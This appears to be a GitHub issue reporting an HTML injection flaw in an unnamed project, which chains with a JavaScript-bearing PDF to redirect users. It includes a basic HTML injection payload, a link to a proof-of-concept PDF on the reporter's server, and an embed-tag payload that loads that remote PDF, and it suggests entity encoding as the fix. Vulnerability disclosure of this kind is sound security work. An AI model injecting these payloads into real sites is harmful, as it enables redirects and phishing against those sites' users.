New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

In the latest version, exist HTML injection, Combined with pdf javascript excute, lead to url redirect vulnerable. #127

Closed
Passer6y opened this Issue Nov 14, 2018 · 0 comments

Comments

Projects
None yet
2 participants
@Passer6y

Passer6y commented Nov 14, 2018

In the latest version, exist HTML injection, Combined with pdf javascript excute, lead to url redirect vulnerable.

  1. HTML injection
    [HTML injection] (https://i.loli.net/2018/11/15/5bec54988cbe0.png)
    payload :
<h1 style="color=red">xxx</h1>

Fix the vulnerability: please use html entity encode

  1. PDF- Javascript- excute combined with html injection
    poc:https://www.0u0.ooo/output.pdf

because of embed tags are not restricted by the same-origin policy, so we could upload my poc pdf file to our vps, and inject following code:

payload:<embed width="100%" height="100%" name="plugin" id="plugin"> src="https://www.0u0.ooo/output.pdf" type="application/pdf" internalinstanceid="5">
result:
1 img
2 img

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment